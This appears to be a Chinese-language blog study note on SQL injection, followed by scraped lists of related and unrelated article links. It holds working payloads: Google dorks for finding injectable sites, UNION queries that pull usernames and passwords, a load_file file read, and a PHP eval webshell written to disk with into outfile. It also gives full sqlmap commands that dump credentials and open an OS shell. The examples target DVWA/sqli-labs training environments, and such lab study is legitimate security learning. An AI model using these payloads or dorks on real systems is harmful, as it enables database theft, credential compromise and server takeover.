sql注入知识点
需找sql注入点
1\无特定目标
inurl:.php?id=
2\有特定目标:
inurl:.php?id= site:target.com
3\工具爬取
spider,对搜索引擎和目标网站的链接进行爬取
手工简单识别:
and 1=1 / and 1=2
and '1'='1 / and '1' = '2
and 1 like 1 / and 1 like 2
工具识别:
sqlmap -m filename (filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取,然后依次进行测试)
一、环境搭建
1、安装wamp
2、安装sqli-labs
3、配置数据库信息
编辑:db-creds.inc
方法二
使用docker部署
docker search sqli-labs 查找sqli-labs
docker pull acgpiano/sqli-labs 拉取sqli-labs
docker images 查看本地已有的镜像
docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs 运行sqli
-dt 后台运行
--name 将命名为sqli
-p 将后台的80映射为本地的80
--rm 在关闭dock后自动删除相应文件,以释放资源
SQL语言
SQL 全称 结构化查询语言 StructuredQueryLanguage,最早是IBM开发的查询语言
sql语句
select version;
select id from jobs where id=1;
select id from jobs where id=1 union select version();
select id,location from jobs where id=1 union select 1,version(); union拼接的前后两条语句的字段需要一致,否则报错,前面是2个字段,所以后面也要为两个字段,所以加了1
代码
$id=$_GET['id'];
$sql="SELECT*FROM users WHERE id='$id' limit 0,1";
limit 0,1 是从第0条返回1条记录
注入
http://test.com/index.php?id=1‘ UNION SELCET 1,version()#
’单引号闭合掉参数
#号代表注释掉后面的内容
%23是一种编码代表了#
Mysql函数
https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html
SQLmap使用
1、针对url
使用python sqlmap -u “url”
2、针对post表单
1)使用python sqlmap -r “文件名” (将post请求保存成文件.txt)
2) 使用python sqlmap -u “url” --data=“post参数”
mysql三种闭合方式
无闭合符号
‘
“
1 or 1=1
1’ or ‘1=1
1” or “1=1
注释符号闭合
#
--空格
//
使用order by确定字段数
利用二分法确定有多少个字段,当不报错说明存在几个字段
1' order by 5 --空格
1' order by 3 --空格
在确定了有多少字段后,再进一步确定版本信息、目录信息等
可以使用union
例如,存在2个字段columns
1' union select @@version,@@datadir--空格
当少一个columns时会报错,“The used SELECT statements have a different number of columns”
mysql中常用的函数
@@version 显示版本
@@datadir 显示当前目录
user() 查询用户名
database() 查询数据库名
information_schema.tables 查询数据库中的表名
e.g.
id=1' union select 1,table_name from information_schema.tables where table_schema='dvwa'--
dvwa.users 查询列名
e.g.
id=1' union select 1,column_name from information_schema.columns where table_name='users' --
查询用户名和密码
id=1' union select user,password from users --
PHP中文件读取函数
load_file()
id=1' union select 1,load_file(c:\windows\win.ini')--
利用sql注入写入webshell
写入步骤
1 获取物理路径
通过数据库异常报错获取物理路径
2 上传写入webshell
一句话
<?php
@eval($_GET['cmd']);
into outfile 写入文件
提示报错:配置设置无法写入:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
e.g.
http://10.211.55.7/dvwa/vulnerabilities/sqli/
?id=1' union select "<?php @eval($_GET['cmd']);?>","webshell" into outfile 'C:\phpStudy\PHPTutorial\WWW\DVWA\cmd.php' --
&Submit=Submit#
代码执行
http://ip/dvwa/cmd.PHP?cmd=system(dir);
利用SQLmap自动化
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id"
url中包含了id和submit,-p 指定对id进行***
--cookie 在登录状态下进行sql注入
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
--current-user 获取当前用户
--current-db 获取当前db
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user --current-db
--tables 查询表
-D +数据库 在该数据库中查询表
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa --tables
-T +表 查询该表下
--columns 查询字段名
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa -T users --columns
查询用户名和mim
--dump 查询用户名密码
-C "user,password" 查询columns中的值
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
-p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
--current-user -D dvwa -T users -C "user,password" --dump
利用sqlmap上传shell
--OS-shell
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
-p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
--current-user -D dvwa -T users -C "user,password" --os-shell
万能密码
‘ --
中间有空格
where username='admin' and password='admin'
sql语句变了
where username='admin' --' and password = ''
如果表中有admin的用户名则有返回数据
寻找SQL注入点
无特定目标
inurl:.php?id=
有特定目标:
inurl:.php?id= site:target.com
工具爬取
spider,对搜索引擎和目标网站的链接进行爬取
注入识别
手工简单识别
'
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2
工具识别:
sqlmap -m fliename (fliename 中保存检测目标)
sqlmap --crawl (sqlmap对目标网站进行爬取,然后依次进行测试)
高级识别:
扩展识别广度和深度:
sqlmap --level 增加测试级别,对header中相关参数也进行测试
sqlmap -r filename (filename中为网站请求数据)
利用工具提高识别效率:
Burpsuite + Sqlamp
burpsuite拦截所有浏览器访问提交的数据
burpsuite扩展插件,直接调用sqlmap进行测试
一些tip
可以在参数后键入 “*” 来确定想要测试的参数
可能出现注入的点:新闻、登录、搜索、留言。。。
使用limit group等
group_concat() 连接查询的结果
sql注入知识点的更多相关文章
- sql注入知识点整理(基础版)
sql注入知识点整理(基础版) 基本步骤 判断是否报错 判断闭合符号 判断注入类型 构建payload 手工注入或者编写脚本 基本注入类型 报错型注入 floor公式(结果多出一个1):and (se ...
- CTF SQL注入知识点
理解常用的登录判断 select * from user where username='admin' and password='123' 数据库元信息 infomation_schema 懂PHP ...
- Sql注入测试--Sqlmap
慕课网sqlmap学习笔记: 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 例如 (1)在url上 ...
- 基础Web漏洞-SQL注入入门(手工注入篇)
一.什么是SQL注入 SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...
- sql注入原理+mysql相关知识点
什么是SQL注入 sql就是经常说的数据库,而sql注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是比较常见的网络攻击 ...
- SQL注入基本知识点总结
SQL注入基本知识 information_schema MySQL 中存储所有数据库名.所有表名.所有字段名的系统数据库叫 information_schema ,这是在 MySQL 数据库初 ...
- 关于防止sql注入的几个知识点
1.PDO预处理是首选. 你可以把他看成是要运行的sql的已经编译过的模板,它可以用变量参数进行定制 它有两个显著优点: 1.1:查询仅需解析一次,但可以用相同或者不同参数执行多次.换句话说如果要以不 ...
- 有关SQL注入的一些小知识点
1.判断注入点: 本质原理是找一个需要后台处理后,提交给数据库的点,我理解为用户可以控制并输入后台数据库的变量,比如我们DVWA SQL injection 的ID ,我们可以通过闭合单引号,#注释 ...
- C# sql语句拼接时 like情况的防sql注入的用法
今天下午同事问我一个比较基础的问题,在拼接sql语句的时候,如果遇到Like的情况该怎么办. 我原来的写法就是简单的拼接字符串,后来同事问我如果遇到sql注入怎么办.我想了下,这确实是个问题. 刚在网 ...
随机推荐
- Vue v-for操作与computed结合功能
<!doctype html> <html lang="en"> <head id="head"> <meta cha ...
- Codeforces Round #597 (Div. 2) D. Shichikuji and Power Grid 最小生成树
D. Shichikuji and Power Grid</centerD.> Shichikuji is the new resident deity of the South Blac ...
- CSS的基础学习
CSS学习 --------学习资源 http://www.csszengarden.com/ CSS语法检查http://jigsaw.w3.org/css-validator/ 配置CSS的方法: ...
- 【MySQL配置参数】sync_binlog和innodb_flush_log_at_trx_commit
sync_binlog和innodb_flush_log_at_trx_commit这2个参数都是MySQL中,配置日志持久化时机的,但有很大不同,做下对比分析总结. 1.MySQL服务器配置参数:s ...
- 启明星MRBS会议室预约系统V30.0发布
MRBS系统官方网址 https://www.dotnetcms.org/ 在线演示 http://demo.dotnetcms.org/mrbs 用户名admin,密码123456 Meeting ...
- ssl与ssh
openssl genrsa -out private_key.pem 1024 ssh-keygen -t rsa -C zzf073@163.com ssl是安全会话协商机制: ssh是安全访问机 ...
- IIS_CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现
CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现 一.漏洞描述 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HT ...
- RootKit随手记(一)RootKit的驱动隐藏、读取配置、卸载安装
边学习边更新这专题,随手记录一下用到的思路,给自己看的(所以读者看可能有些懵,不好意思...) RootKit随手记(一)RootKit的驱动隐藏.读取配置.卸载安装 一.驱动隐藏 1. 隐藏原理 一 ...
- GitFirstRemote
1.$ git ls-remote From git@github.com:Smoothfu/WPFITEMSSOURCEPRODUCTCOLLECTION.git9a6669a2e2c9e22b30 ...
- MySQL基础(一)(启动/停止、登录/退出、语法规范及最基础操作)
1.启动/停止MySQL服务 启动:net start mysql 停止:net stop mysql 2.MySQL登录/退出 登录:mysql 参数:如果连接的是本地服务器,一般用命令:my ...